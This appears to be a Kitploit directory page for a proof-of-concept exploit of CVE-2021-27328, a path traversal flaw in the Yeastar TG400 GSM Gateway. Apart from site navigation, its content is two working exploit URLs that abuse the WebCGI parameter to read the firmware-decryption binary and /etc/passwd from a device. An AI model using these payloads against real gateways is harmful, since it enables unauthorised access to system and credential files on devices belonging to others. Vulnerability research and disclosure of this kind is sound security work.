Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-27328 — Proof of concept for path traversal in Yeastar TG400 GSM Gateway, demonstrating arbitrary file read via crafted HTTP requests to WebCGI. | Kitploit
Tools/GitHubGitHub/sqsamir/cve-2021-27328
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubsqsamir/cve-2021-27328

CVE-2021-27328

Proof of concept for path traversal in Yeastar TG400 GSM Gateway, demonstrating arbitrary file read via crafted HTTP requests to WebCGI.

View Repository
210 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Path Traversal on Yeastar TG400 GSM Gateway - 91.3.0.3

This is a Proof of Concept for CVE-2021-27328

Example

  • to get firmware decrypting password
root@kitploit:~
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect

ZIP pass

  • to get /etc/paswd
root@kitploit:~
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd

/etc/passwd

Download Tool